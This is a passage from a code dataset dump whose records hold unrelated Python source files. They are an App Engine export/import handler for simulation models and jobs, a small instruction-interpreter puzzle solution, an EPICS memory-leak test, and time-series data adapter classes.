outPath\n        job.status = jsonJob[\"status\"]\n\n        job.put()\n\n        return job.key().id()\n\n    def close(self):\n        if self.zipfb:\n            self.zipfb.close()\n\n        if self.zipfbFile:\n            self.zipfbFile.close()\n\nclass ExportPage(BaseHandler):\n    def post(self):\n        try:\n            request_data = json.loads(self.request.POST.items()[0][0])\n            reqType = request_data[\"reqType\"]\n        except:\n            reqType = self.request.get('reqType')\n            pass\n\n        if reqType == 'delJob':\n            job = ExportJobWrapper.get_by_id(int(self.request.get('id')))\n            job.delete()\n\n            self.response.headers['Content-Type'] = 'application/json'\n            self.response.write(json.dumps( { \"status\" : True, \"msg\" : \"Export job deleted\" } ))\n            return\n        elif reqType == 'size':\n            def get_size(start_path = '.'):\n                # Stolen from http://stackoverflow.com/questions/1392413/calculating-a-directory-size-using-python\n                totalSize = 0\n                for dirpath, dirnames, filenames in os.walk(start_path):\n                    for f in filenames:\n                        fp = os.path.join(dirpath, f)\n                        totalSize += os.path.getsize(fp)\n                return totalSize\n\n            # sizes of models will be trivial so we ignore them\n            numberOfFiles = 0\n            totalSize = 0\n\n            jobs = db.GqlQuery(\"SELECT * FROM StochKitJobWrapper WHERE user_id = :1\", self.user.user_id()).fetch(100000)\n\n            for job in jobs:\n                stochkit_job = job.stochkit_job\n\n                if stochkit_job.status == \"Finished\":\n                    if stochkit_job.resource == 'Local':\n                        numberOfFiles += 1\n                        totalSize += get_size(job.stochkit_job.output_location)\n\n            self.response.headers['Content-Type'] = 'application/json'\n            self.response.write(json.dumps( { \"numberOfFiles\" : numberOfFiles, \"totalSize\" : totalSize } ))\n            return\n        elif reqType == 'backup':\n            if \"stochOptimJobs\" in request_data:\n                selected_stochoptim_jobs = request_data[\"stochOptimJobs\"]\n            else:\n                selected_stochoptim_jobs = []\n\n            if \"sensitivityJobs\" in request_data:\n                selected_sensitivity_jobs = request_data[\"sensitivityJobs\"]\n            else:\n                selected_sensitivity_jobs = []\n\n            if \"stochKitJobs\" in request_data:\n                selected_stochkit_jobs = request_data[\"stochKitJobs\"]\n            else:\n                selected_stochkit_jobs = []\n\n            logging.info('Processing backup export request with stochkit jobs: {0} sensitivity jobs: {1}'.format(selected_stochkit_jobs, selected_sensitivity_jobs))\n\n            exportJob = ExportJobWrapper()\n\n            if \"globalOp\" in request_data:\n                globalOp = request_data[\"globalOp\"]\n            else:\n                globalOp = False\n\n            if globalOp and not self.user.is_admin_user():\n                self.response.headers['Content-Type'] = 'application/json'\n                self.response.write( json.dumps({ \"status\" : False,\n                                                  \"msg\" : \"Non-admin users cannot export all data\" }) )\n                return\n\n            exportJob.userId = self.user.user_id()\n            exportJob.startTime = time.strftime(\"%Y-%m-%d-%H-%M-%S\")\n            exportJob.status = \"Running -- Exporting Models\"\n            exportJob.outData = None\n\n            exportJob.put()\n\n            szip = SuperZip(\n                os.path.abspath(os.path.dirname(__file__)) + '/../static/tmp/',\n                stochKitJobsToDownload=selected_stochkit_jobs,\n                sensitivityJobsToDownload=selected_sensitivity_jobs,\n                stochOptimJobsToDownload=selected_stochoptim_jobs\n            )\n\n            if not globalOp:\n                models = db.GqlQuery(\"SELECT * FROM StochKitModelWrapper WHERE user_id = :1\", self.user.user_id()).run()\n            else:\n                models = db.GqlQuery(\"SELECT * FROM StochKitModelWrapper\").run()\n\n            for model in models:\n                szip.addStochKitModel(model)\n\n            exportJob.status = \"Running -- Exporting Simulations\"\n            exportJob.outData = None\n            exportJob.put()\n\n            ###jobs\n            if not globalOp:\n                jobs = db.GqlQuery(\"SELECT * FROM StochOptimJobWrapper WHERE userId = :1\", self.user.user_id()).run()\n            else:\n                jobs = db.GqlQuery(\"SELECT * FROM StochOptimJobWrapper\").run()\n\n            for job in jobs:\n                szip.addStochOptimJob(job, globalOp)\n\n            if not globalOp:\n                jobs = db.GqlQuery(\"SELECT * FROM SensitivityJobWrapper WHERE userId = :1\", self.user.user_id()).run()\n            else:\n                jobs = db.GqlQuery(\"SELECT * FROM SensitivityJobWrapper\").run()\n\n            for job in jobs:\n                szip.addSensitivityJob(job, globalOp)\n\n            if not globalOp:\n                jobs = db.GqlQuery(\"SELECT * FROM StochKitJobWrapper WHERE user_id = :1\", self.user.user_id()).run()\n            else:\n                jobs = db.GqlQuery(\"SELECT * FROM StochKitJobWrapper\").run()\n\n            for job in jobs:\n                szip.addStochKitJob(job, globalOp)\n\n            szip.close()\n\n            exportJob.status = \"Finished\"\n            exportJob.outData = szip.getFileName()\n\n            #print \"exportJob outData\", exportJob.outData\n\n            exportJob.put()\n\n            self.response.headers['Content-Type'] = 'application/json'\n            self.response.write( json.dumps({ \"status\" : True,\n                                              \"msg\" : \"Job submitted\" }) )\n            return\n\n# A lot of this code taken from:\n#\n# -*- coding: utf-8 -*-\n#\n# jQuery File Upload Plugin GAE Python Example 2.1.1\n# https://github.com/blueimp/jQuery-File-Upload\n#\n# Copyright 2011, Sebastian Tschan\n# https://blueimp.net\n#\n# Licensed under the MIT license:\n# http://www.opensource.org/licenses/MIT\n#\nimport re\nimport urllib\n\nclass ImportJobWrapper(db.Model):\n    userId = db.StringProperty()\n    status = db.StringProperty()\n    zipFile = db.StringProperty()\n    headerFile = db.StringProperty()\n\n    def delete(self):\n        try:\n            os.remove(self.zipFile)\n        except Exception as e:\n            sys.stderr.write(\"ImportJobWrapper.delete(): {0}\\n\".format(e))\n        try:\n            os.remove(self.headerFile)\n        except Exception as e:\n            sys.stderr.write(\"ImportJobWrapper.delete(): {0}\\n\".format(e))\n        super(ImportJobWrapper, self).delete()\n\nclass ImportPage(BaseHandler):\n\n    def initialize(self, request, response):\n        super(ImportPage, self).initialize(request, response)\n        self.response.headers['Access-Control-Allow-Origin'] = '*'\n        self.response.headers[\n            'Access-Control-Allow-Methods'\n        ] = 'OPTIONS, HEAD, GET, POST, PUT, DELETE'\n        self.response.headers[\n            'Access-Control-Allow-Headers'\n        ] = 'Content-Type, Content-Range, Content-Disposition'\n\n    def get_file_size(self, file):\n        file.seek(0, 2)  # Seek to the end of the file\n        size = file.tell()  # Get the position of EOF\n        file.seek(0)  # Reset the file position to the beginning\n        return size\n\n    def get(self):\n        context = {\n            'isAdminUser': self.user.is_admin_user()\n        }\n        # We can only pull results from S3 if we have valid AWS credentials\n        if self.user_data.valid_credentials:\n            credentials = self.user_data.getCredentials()\n            # Get all the cloud jobs\n            stochkit_jobs = db.GqlQuery(\"SELECT * FROM StochKitJobWrapper WHERE user_id = :1\", self.user.user_id()).fetch(100000)\n            stochkit_jobs = [job for job in stochkit_jobs if job.stochkit_job.resource == \"Cloud\" and job.stochkit_job.status == \"Finished\"]\n            # Create the dictionary to pass to backend to check for sizes\n            output_results_to_check = {}\n            for cloud_job in stochkit_jobs:\n                s3_url_segments = cloud_job.stochkit_job.output_url.split('/')\n                # S3 URLs are in the form https://s3.amazonaws.com/bucket_name/key/name\n                bucket_name = s3_url_segments[3]\n                # key_name is the concatenation of all segments after the bucket_name\n                key_name = '/'.join(s3_url_segments[4:])\n                if bucket_name in output_results_to_check:\n                    output_results_to_check[bucket_name] += [(key_name, cloud_job.name)]\n                else:\n                    output_results_to_check[bucket_name] = [(key_name, cloud_job.name)]\n            # Sensitivity Jobs\n            sensi_jobs = db.GqlQuery(\"SELECT * FROM SensitivityJobWrapper WHERE userId = :1\", self.user.user_id())\n            sensi_jobs = [job for job in sensi_jobs if job.resource == \"cloud\" and job.status == \"Finished\"]\n            for cloud_job in sensi_jobs:\n                s3_url_segments = cloud_job.outputURL.split('/')\n                # S3 URLs are in the form https://s3.amazonaws.com/bucket_name/key/name\n                bucket_name = s3_url_segments[3]\n                # key_name is the concatenation of all segments after the bucket_name\n                key_name = '/'.join(s3_url_segments[4:])\n                if bucket_name in output_results_to_check:\n                    output_results_to_check[bucket_name] += [(key_name, cloud_job.jobName)]\n                else:\n                    output_results_to_check[bucket_name] = [(key_name, cloud_job.jobName)]\n            # StochOptim Jobs\n            stochoptim_jobs_query = stochoptim.StochOptimJobWrapper.all()\n            stochoptim_jobs_query.filter(\"userId =\", self.user.user_id())\n            stochoptim_jobs_query.filter(\"resource =\", \"cloud\")\n            stochoptim_jobs_query.filter(\"status =\", \"Finished\")\n            stochoptim_jobs = []\n            for cloud_job in stochoptim_jobs_query.run():\n                if cloud_job.outputURL is None:\n                    #print vars(cloud_job)\n                    continue\n                stochoptim_jobs.append(cloud_job)\n                s3_url_segments = cloud_job.outputURL.split('/')\n                # S3 URLs are in the form https://s3.amazonaws.com/bucket_name/key/name\n                bucket_name = s3_url_segments[3]\n                # key_name is the concatenation of all segments after the bucket_name\n                key_name = '/'.join(s3_url_segments[4:])\n                if bucket_name in output_results_to_check:\n                    output_results_to_check[bucket_name] += [(key_name, cloud_job.jobName)]\n                else:\n                    output_results_to_check[bucket_name] = [(key_name, cloud_job.jobName)]\n            # Get all the job sizes from the backend\n            service = backendservices()\n            job_sizes = service.getSizeOfOutputResults(credentials['EC2_ACCESS_KEY'], credentials['EC2_SECRET_KEY'], output_results_to_check)\n            # Add all of the relevant jobs to the context so they will be rendered on the page\n            context[\"stochkit_jobs\"] = []\n            context[\"sensitivity_jobs\"] = []\n            context[\"stochoptim_jobs\"] = []\n            for cloud_job in stochkit_jobs:\n                job_name = cloud_job.name\n                if job_name in job_sizes:\n                    # These are the relevant jobs\n                    context[\"stochkit_jobs\"].append({\n                        'name': job_name,\n                        'exec_type': cloud_job.stochkit_job.exec_type,\n                        'size': '{0} KB'.format(round(float(job_sizes[job_name])/1024, 1))\n                    })\n            for cloud_job in sensi_jobs:\n                job_name = cloud_job.jobName\n                if job_name in job_sizes:\n                    context[\"sensitivity_jobs\"].append({\n                        'name': job_name,\n                        'exec_type': 'sensitivity_jobs',\n                        'size': '{0} KB'.format(round(float(job_sizes[job_name])/1024, 1))\n                    })\n            for cloud_job in stochoptim_jobs:\n                job_name = cloud_job.jobName\n                if job_name in job_sizes:\n                    context[\"stochoptim_jobs\"].append({\n                        'name': job_name,\n                        'exec_type': 'mcem2',\n                        'size': '{0} KB'.format(round(float(job_sizes[job_name])/1024, 1))\n                    })\n        return self.render_response('exportimport.html', **context)\n\n    def post(self):\n        if 'files[]' in self.request.POST:\n            files = []\n            for name, fieldStorage in self.request.POST.items():\n                if type(fieldStorage) is unicode:\n                    continue\n\n                job = ImportJobWrapper()\n\n                filename, suffix = os.path.splitext(fieldStorage.filename)\n                filename = os.path.basename(filename)\n                \n                path = os.path.abspath(os.path.dirname(__file__))\n                [tid, tmpfile] = tempfile.mkstemp(dir = os.path.abspath(os.path.dirname(__file__)) + '/../static/tmp/', prefix = filename + \"_\", suffix = suffix)\n                job.userId = self.user.user_id()\n                job.status = \"Writing file on server\"\n                job.zipFile = tmpfile\n\n                job.put()\n\n                fhandle = os.fdopen(tid, 'w')\n                fhandle.write(fieldStorage.value)\n                fhandle.close()\n\n                job.status = \"Analyzing file\"\n                job.put()\n\n                zipFile = zipfile.ZipFile(fieldStorage.file, 'r')\n\n                headers = { \"models\" : {}, \"stochkitJobs\" : {}, \"stochOptimJobs\" : {}, \"sensitivityJobs\" : {} }\n                for name in zipFile.namelist():\n                    if re.search('models/[a-zA-Z0-9\\-_]*\\.json$'.format(filename), name):\n                        headers['models'][name] = json.loads(zipFile.read(name))\n                    elif re.search('stochkitJobs/[a-zA-Z0-9\\-_]*\\.json$'.format(filename), name):\n                        headers['stochkitJobs'][name] = json.loads(zipFile.read(name))\n                    elif re.search('sensitivityJobs/[a-zA-Z0-9\\-_]*\\.json$'.format(filename), name):\n                        headers['sensitivityJobs'][name] = json.loads(zipFile.read(name))\n                    elif re.search('stochOptimJobs/[a-zA-Z0-9\\-_]*\\.json$'.format(filename), name):\n                        headers['stochOptimJobs'][name] = json.loads(zipFile.read(name))\n\n                #print headers['stochOptimJobs']\n\n                zipFile.close();\n\n                job.status = \"Finished\"\n                [tid, tmpfile] = tempfile.mkstemp(dir = os.path.abspath(os.path.dirname(__file__)) + '/../static/tmp/')\n\n                fhandle = os.fdopen(tid, 'w')\n                fhandle.write(json.dumps(headers))\n                fhandle.close()\n\n                job.headerFile = tmpfile\n                job.put()\n\n                files.append( fieldStorage.filename )\n            \n            self.response.headers['Content-Type'] = 'application/json'\n            self.response.write(json.dumps(files))\n        else:\n            reqType = self.request.get('reqType')\n\n            if reqType == 'importInfo':\n                # Print [ { id: importJobid,\n                #           zipFile : zipFilename,\n                #           listOfModelJsons,\n                #           listOfJobJsons } ]\n\n                jobs = []\n\n                for job in db.GqlQuery(\"SELECT * FROM ImportJobWrapper WHERE userId = :1\", self.user.user_id()).run():\n                    #Using os open here cause normal Python open is failing\n                    try:\n                        fdescript = os.open(job.headerFile, os.O_RDONLY)\n                    except:\n                        job.delete()\n                        return\n\n                    contents = \"\"\n                    while 1:\n                        part = os.read(fdescript, 5000)\n                        if part == '':\n                            break\n\n                        contents += part;\n\n                    headers = json.loads(contents)\n                    os.close(fdescript)\n\n                    try:\n                      fversion = open(os.path.abspath(os.path.dirname(__file__)) + '/../VERSION', 'r')\n                      version = fversion.read().strip()\n                      fversion.close()\n                    except:\n                      version = \"1.1.0\"\n\n                    jobs.append({ \"id\" : job.key().id(),\n                                  \"zipFile\" : os.path.basename(job.zipFile),\n                                  \"headers\" : headers,\n                                  \"version\" : version })\n                    \n                self.response.headers['Content-Type'] = 'application/json'\n                self.response.write(json.dumps(jobs))\n                return\n            elif reqType == 'doImport':\n                state = json.loads(self.request.get('state'))\n                overwriteType = self.request.get('overwriteType')\n\n                job = ImportJobWrapper.get_by_id(state[\"id\"])\n                fdescript = os.open(job.headerFile, os.O_RDONLY)\n                \n                contents = \"\"\n                while 1:\n                    part = os.read(fdescript, 5000)\n                    if part == '':\n                        break\n\n                    contents += part;\n\n                headers = json.loads(contents)\n                os.close(fdescript)\n\n                globalOp = self.request.get('globalOp')\n\n                globalOp = True if globalOp == 'true' else False\n\n                job = ImportJobWrapper.get_by_id(state[\"id\"])\n\n                if globalOp and not self.user.is_admin_user():\n                    self.response.headers['Content-Type'] = 'application/json'\n                    self.response.write( json.dumps({ \"status\" : False,\n                                                      \"msg\" : \"Non-admin users cannot export all data\" }) )\n                    return\n\n                szip = SuperZip(zipFileName = job.zipFile)\n\n                if not globalOp:\n                    userId = self.user.user_id()\n                else:\n                    userId = None\n\n                validUsers = [x.user_id() for x in User.query().fetch()]\n\n                for name in state['selections']['mc']:\n                    if not state['selections']['mc'][name]:\n                        continue\n\n                    if userId == None:\n                        userID = headers['models'][name][\"user_id\"]\n\n                        if userID not in validUsers:\n                            userID = userId\n                    else:\n                        userID = userId\n\n                    rename = False\n                    dbName = headers['models'][name][\"name\"]\n                    jobs = list(db.GqlQuery(\"SELECT * FROM StochKitModelWrapper WHERE user_id = :1 AND model_name = :2\", userID, dbName).run())\n\n                    if len(jobs) > 0:\n                        otherJob = jobs[0]\n\n                        if overwriteType == 'keepOld':\n                            continue\n                        elif overwriteType == 'overwriteOld':\n                            #print 'deleting', dbName, 'hehe'\n                            otherJob.delete()\n                        #elif overwriteType == 'renameOld':\n                        #    i = 1\n                        #    tryName = name + '_' + str(i)\n\n                        #    while len(list(db.GqlQuery(\"SELECT * FROM StochKitJobWrapper WHERE user_id = :1 AND name\", self.user.user_id(), tryName).run())) > 0:\n                        #        i += 1\n                        #        tryName = name + '_' + str(i)\n\n                        #    otherJob.name = tryName\n                        #    otherJob.put()\n                        elif overwriteType == 'renameNew':\n                            rename = True\n                            \n                    #print \"importing \", name\n                    szip.extractStochKitModel(name, userId, self, rename = rename)\n\n                #print \"globalOp\", userId\n\n                for name in state['selections']['sjc']:\n                    if not state['selections']['sjc'][name]:\n                        continue\n\n                    if userId == None:\n                        userID = headers['stochkitJobs'][name][\"user_id\"]\n\n                        if userID not in validUsers:\n                            userID = userId\n                    else:\n                        userID = userId\n\n                    dbName = headers['stochkitJobs'][name][\"name\"]\n                    jobs = list(db.GqlQuery(\"SELECT * FROM StochKitJobWrapper WHERE user_id = :1 AND name = :2\", userID, dbName).run())\n\n                    rename = False\n\n                    if len(jobs) > 0:\n                        otherJob = jobs[0]\n\n                        #print otherJob.name\n\n                        if overwriteType == 'keepOld':\n                            continue\n                        elif overwriteType == 'overwriteOld':\n                            otherJob.delete(self)\n                        elif overwriteType == 'renameNew':\n                            rename = True\n\n                    szip.extractStochKitJob(name, userId, self, rename = rename)\n\n                for name in state['selections']['snc']:\n                    if not state['selections']['snc'][name]:\n                        continue\n\n                    if userId == None:\n                        userID = headers['sensitivityJobs'][name][\"userId\"]\n\n                        if userID not in validUsers:\n                            userID = userId\n                    else:\n                        userID = userId\n\n                    dbName = headers['sensitivityJobs'][name][\"jobName\"]\n                    jobs = list(db.GqlQuery(\"SELECT * FROM SensitivityJobWrapper WHERE userId = :1 AND jobName = :2\", userID, dbName).run())\n\n                    rename = False\n\n                    if len(jobs) > 0:\n                        otherJob = jobs[0]\n\n                        if overwriteType == 'keepOld':\n                            continue\n                        elif overwriteType == 'overwriteOld':\n                            otherJob.delete()\n                        elif overwriteType == 'renameNew':\n                            rename = True\n\n                    szip.extractSensitivityJob(name, userId, self, rename = rename)\n\n                for name in state['selections']['soc']:\n                    if not state['selections']['soc'][name]:\n                        continue\n\n                    if userId == None:\n                        userID = headers['stochOptimJobs'][name][\"userId\"]\n\n                        if userID not in validUsers:\n                            userID = userId\n                    else:\n                        userID = userId\n\n                    dbName = headers['stochOptimJobs'][name][\"jobName\"]\n                    jobs = list(db.GqlQuery(\"SELECT * FROM StochOptimJobWrapper WHERE userId = :1 AND jobName = :2\", userID, dbName).run())\n\n                    rename = False\n\n                    if len(jobs) > 0:\n                        otherJob = jobs[0]\n\n                        if overwriteType == 'keepOld':\n                            continue\n                        elif overwriteType == 'overwriteOld':\n                            otherJob.delete()\n                        elif overwriteType == 'renameNew':\n                            rename = True\n\n                    szip.extractStochOptimJob(name, userId, self, rename = rename)\n\n                szip.close()\n\n                # Expect an importJobId\n                # along with a list of model jsons to import\n                # and a list of job jsons to import\n                self.response.headers['Content-Type'] = 'application/json'\n                self.response.write(json.dumps( { \"status\" : True,\n                                                  \"msg\" : \"Archive imported\" }))\n                \n                return\n            elif reqType == 'delJob':\n                job = ImportJobWrapper.get_by_id(int(self.request.get('id')))\n                job.delete()\n                \n                self.response.headers['Content-Type'] = 'application/json'\n                self.response.write(json.dumps( { \"status\" : True, \"msg\" : \"Export job deleted\" } ))\n                return\n\n            #if 'application/json' in self.request.headers.get('Accept'):\n\n","sub_path":"app/handlers/exportimport.py","file_name":"exportimport.py","file_ext":"py","file_size_in_byte":43003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"627938109","text":"STATUS_OK = 0\nSTATUS_ERR = 1\n\nNOP = \"nop\"\nACC = \"acc\"\nJMP = \"jmp\"\n\ndef get_instructions(filePath):\n    with open(filePath, \"r\") as fp:\n        return [{\"command\": line[:3], \"value\": int(line[4:])} for line in fp.readlines()]\n\ndef execute(instructions):\n    executed_lines = set()\n    acc = 0\n    line = 0\n    instruction = instructions[line]\n\n    while instruction and line not in executed_lines and line < len(instructions):\n        instruction = instructions[line]\n        executed_lines.add(line)\n\n        if instruction[\"command\"] == NOP or instruction[\"command\"] == ACC:\n            line += 1\n\n            if instruction[\"command\"] == ACC:\n                acc += instruction[\"value\"]\n        elif instruction[\"command\"] == JMP:\n            line += instruction[\"value\"]\n    \n    return STATUS_OK if line >= len(instructions) else STATUS_ERR, acc\n\ndef fix_instructions(instructions):\n    for i, instruction in enumerate(instructions):\n        if instruction[\"command\"] not in (NOP, JMP):\n            continue\n\n        prev_command = instructions[i][\"command\"]\n        instruction[\"command\"] = JMP if prev_command == NOP else NOP\n\n        status, acc = execute(instructions)\n        if status == STATUS_OK:\n            return STATUS_OK, acc\n\n        instruction[\"command\"] = prev_command\n\n    return STATUS_ERR, -1\n\nif __name__ == \"__main__\":\n    instructions = get_instructions(\"8/input.txt\")\n    status, acc = fix_instructions(instructions)\n\n    print(status, acc)","sub_path":"8/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"637945741","text":"import time\nimport gc\nimport os\n\nimport epics\nimport pvnames\n\npvlist = pvnames.updating_pvlist\n\ndef show_memory():\n    gc.collect()\n    if os.name == 'nt':\n        return 'Windows memory usage?? pid=%i' % os.getpid()\n    f = open(\"/proc/%i/statm\" % os.getpid())\n    mem = f.readline().split()\n    f.close()\n    return 'Memory: VmSize = %i kB  /  VmRss = %i kB' %( int(mem[0])*4 , int(mem[1])*4)\n\nN_new = 0\ndef get_callback(pvname=None,value=None,**kw):\n    global N_new\n    N_new = N_new + 1\n    \ndef monitor_events(t = 60.0):\n    print( 'Processing PV requests:')\n    t0 = time.time()\n    endtime = t0 + t\n    global N_new\n    nnotify = 10\n    while time.time() < endtime:\n        epics.ca.pend_event(0.01)\n        if N_new >= nnotify:\n            print( \"Saw %i changes in %.3f seconds:  %s\" % (N_new,  time.time()-t0, show_memory()))\n            N_new = 0\n            t0 = time.time()\n\ndef run(t=10.0):\n    pvs = [epics.PV(i, callback=get_callback) for i in pvlist]\n    epics.ca.pend_io(1.0)\n    for p in pvs: p.get()\n    print( 'Monitoring %i PVs'  % len(pvs))\n    monitor_events(t=t)\n    \n    print( 'Destroying PVs: ')\n    for i in pvs:\n        i.disconnect()\n    print( epics.ca._cache.keys())\n    epics.ca.show_cache()\n    epics.ca.poll(0.01, 10.0)\n    time.sleep(1.0)\n    \nfor i in range(4):\n    print( \"==run #  \", i+1)\n    run(t=15)\n\nprint( 'memory leak test complete.')\n\n\n","sub_path":"tests/UnsortedTests/memleak.py","file_name":"memleak.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"519748978","text":"import itertools\nfrom collections import namedtuple\nfrom typing import Generator, Iterable, Sized\n\nimport pandas as pd\n\n\nclass Timeseries(namedtuple('Timeseries', ['id', 'kind', 'data'])):\n    \"\"\"\n    Timeseries tuple used for feature extraction.\n\n    Make sure `kind` is of type `str` to allow inference\n    of feature settings in `feature_extraction.settings.from_columns`.\n    \"\"\"\n\n\nclass TsData(Iterable[Timeseries], Sized):\n    \"\"\"\n    TsData provides access to time series data for internal usage.\n\n    Implementations must implement `__iter__` and `__len__`.\n    Other methods should be overwritten if a more efficient solution exists for the underlying data store.\n    \"\"\"\n\n    def __iter__(self):\n        raise NotImplementedError\n\n    def __len__(self):\n        raise NotImplementedError\n\n    def partition(self, chunk_size):\n        \"\"\"\n        Split the data into iterable chunks of given `chunk_size`.\n\n        :param chunk_size: the size of the chunks\n        :type chunk_size: int\n\n        :return: chunks with at most `chunk_size` items\n        :rtype: Generator[Iterable[Timeseries]]\n        \"\"\"\n        iterable = iter(self)\n        while True:\n            next_chunk = list(itertools.islice(iterable, chunk_size))\n            if not next_chunk:\n                return\n\n            yield next_chunk\n\n\nclass SliceableTsData(TsData):\n    \"\"\"\n    SliceableTsData uses a slice strategy to implement data partitioning.\n    Implementations of `TsData` may extend this class if they can iterate their elements in deterministic order and\n    if an efficient strategy exists to slice the data.\n\n    Because `__iter__` defaults to `slice(0)`, implementations must only implement `slice`.\n    \"\"\"\n\n    def slice(self, offset, length=None):\n        \"\"\"\n        Get a subset of the timeseries elements\n\n        :param offset: the offset in the sequence of elements\n        :type offset: int\n\n        :param length: if not `None`, the maximum number of elements the slice will yield\n        :type length: int\n\n        :return: a slice of the data\n        :rtype: Iterable[Timeseries]\n        \"\"\"\n        raise NotImplementedError\n\n    def __iter__(self):\n        return self.slice(0)\n\n    def partition(self, chunk_size):\n        div, mod = divmod(len(self), chunk_size)\n        chunk_info = [(i * chunk_size, chunk_size) for i in range(div)]\n        if mod > 0:\n            chunk_info += [(div * chunk_size, mod)]\n\n        for offset, length in chunk_info:\n            yield _Slice(self, offset, length)\n\n\nclass _Slice(Iterable[Timeseries]):\n    def __init__(self, data, offset, length):\n        \"\"\"\n        Wraps the `slice` generator function as an iterable object which can be pickled and passed to the distributor\n        backend.\n\n        :type data: SliceableTsData\n        :type offset: int\n        :type length: int\n        \"\"\"\n        self.data = data\n        self.offset = offset\n        self.length = length\n\n    def __iter__(self):\n        return self.data.slice(self.offset, self.length)\n\n    def __len__(self):\n        return self.length\n\n\ndef _check_colname(*columns):\n    \"\"\"\n    Check if given column names conflict with `settings.from_columns` (ends with '_' or contains '__').\n\n    :param columns: the column names to check\n    :type columns: str\n\n    :return: None\n    :rtype: None\n    :raise: ``ValueError`` if column names are invalid.\n    \"\"\"\n\n    for col in columns:\n        if str(col).endswith(\"_\"):\n            raise ValueError(\"Dict keys are not allowed to end with '_': {}\".format(col))\n\n        if \"__\" in str(col):\n            raise ValueError(\"Dict keys are not allowed to contain '__': {}\".format(col))\n\n\ndef _check_nan(df, *columns):\n    \"\"\"\n    Raise a ``ValueError`` if one of the columns does not exist or contains NaNs.\n\n    :param df: the pandas DataFrame to test for NaNs\n    :type df: pandas.DataFrame\n    :param columns: a list of columns to test for NaNs. If left empty, all columns of the DataFrame will be tested.\n    :type columns: str\n\n    :return: None\n    :rtype: None\n    :raise: ``ValueError`` if ``NaNs`` are found in the DataFrame.\n    \"\"\"\n\n    for col in columns:\n        if col not in df.columns:\n            raise ValueError(\"Column not found: {}\".format(col))\n\n        if df[col].isnull().any():\n            raise ValueError(\"Column must not contain NaN values: {}\".format(col))\n\n\ndef _get_value_columns(df, *other_columns):\n    value_columns = [col for col in df.columns if col not in other_columns]\n\n    if len(value_columns) == 0:\n        raise ValueError(\"Could not guess the value column! Please hand it to the function as an argument.\")\n\n    return value_columns\n\n\nclass WideTsFrameAdapter(SliceableTsData):\n    def __init__(self, df, column_id, column_sort=None, value_columns=None):\n        \"\"\"\n        Adapter for Pandas DataFrames in wide format, where multiple columns contain different time series for\n        the same id.\n\n        :param df: the data frame\n        :type df: pd.DataFrame\n\n        :param column_id: the name of the column containing time series group ids\n        :type column_id: str\n\n        :param column_sort: the name of the column to sort on\n        :type column_sort: str|None\n\n        :param value_columns: list of column names to treat as time series values.\n            If `None` or empty, all columns except `column_id` and `column_sort` will be used.\n        :type value_columns: list[str]|None\n        \"\"\"\n        if column_id is None:\n            raise ValueError(\"A value for column_id needs to be supplied\")\n\n        _check_nan(df, column_id)\n\n        if not value_columns:\n            value_columns = _get_value_columns(df, column_id, column_sort)\n\n        _check_nan(df, *value_columns)\n        _check_colname(*value_columns)\n\n        self.value_columns = value_columns\n\n        if column_sort is not None:\n            _check_nan(df, column_sort)\n            self.df_grouped = df.sort_values([column_sort]).groupby([column_id])\n        else:\n            self.df_grouped = df.groupby([column_id])\n\n    def __len__(self):\n        return self.df_grouped.ngroups * len(self.value_columns)\n\n    def slice(self, offset, length=None):\n        if 0 < offset >= len(self):\n            raise ValueError(\"offset out of range: {}\".format(offset))\n\n        group_offset, column_offset = divmod(offset, len(self.value_columns))\n        kinds = self.value_columns[column_offset:]\n        i = 0\n\n        for group_name, group in itertools.islice(self.df_grouped, group_offset, None):\n            for kind in kinds:\n                i += 1\n                if length is not None and i > length:\n                    return\n                yield Timeseries(group_name, kind, group[kind])\n            kinds = self.value_columns\n\n\nclass LongTsFrameAdapter(TsData):\n    def __init__(self, df, column_id, column_kind, column_value=None, column_sort=None):\n        \"\"\"\n        Adapter for Pandas DataFrames in long format, where different time series for the same id are\n        labeled by column `column_kind`.\n\n        :param df: the data frame\n        :type df: pd.DataFrame\n\n        :param column_id: the name of the column containing time series group ids\n        :type column_id: str\n\n        :param column_kind: the name of the column containing time series kinds for each id\n        :type column_kind: str\n\n        :param column_value: None or the name of the column containing time series values\n            If `None`, try to guess it from the remaining, unused columns.\n        :type column_value: str|None\n\n        :param column_sort: the name of the column to sort on\n        :type column_sort: str|None\n        \"\"\"\n        if column_id is None:\n            raise ValueError(\"A value for column_id needs to be supplied\")\n        if column_kind is None:\n            raise ValueError(\"A value for column_kind needs to be supplied\")\n\n        if column_value is None:\n            possible_value_columns = _get_value_columns(df, column_id, column_sort, column_kind)\n            if len(possible_value_columns) != 1:\n                raise ValueError(\"Could not guess the value column, as the number of unused columns os not equal to 1.\"\n                                 f\"These columns where currently unused: {','.join(possible_value_columns)}\"\n                                 \"Please hand it to the function as an argument.\")\n            self.column_value = possible_value_columns[0]\n        else:\n            self.column_value = column_value\n\n        _check_nan(df, column_id, column_kind, self.column_value)\n        _check_colname(column_kind)\n\n        if column_sort is not None:\n            _check_nan(df, column_sort)\n            self.df_grouped = df.sort_values([column_sort]).groupby([column_id, column_kind])\n        else:\n            self.df_grouped = df.groupby([column_id, column_kind])\n\n    def __len__(self):\n        return len(self.df_grouped)\n\n    def __iter__(self):\n        for group_key, group in self.df_grouped:\n            yield Timeseries(group_key[0], str(group_key[1]), group[self.column_value])\n\n\nclass TsDictAdapter(TsData):\n    def __init__(self, ts_dict, column_id, column_value, column_sort=None):\n        \"\"\"\n        Adapter for a dict, which maps different time series kinds to Pandas DataFrames.\n\n        :param ts_dict: a dict of data frames\n        :type ts_dict: dict[str, pd.DataFrame]\n\n        :param column_id: the name of the column containing time series group ids\n        :type column_id: str\n\n        :param column_value: the name of the column containing time series values\n        :type column_value: str\n\n        :param column_sort: the name of the column to sort on\n        :type column_sort: str|None\n        \"\"\"\n\n        _check_colname(*list(ts_dict.keys()))\n        for df in ts_dict.values():\n            _check_nan(df, column_id, column_value)\n\n        self.column_value = column_value\n\n        if column_sort is not None:\n            for key, df in ts_dict.items():\n                _check_nan(df, column_sort)\n\n            self.grouped_dict = {key: df.sort_values([column_sort]).groupby(column_id)\n                                 for key, df in ts_dict.items()}\n        else:\n            self.grouped_dict = {key: df.groupby(column_id) 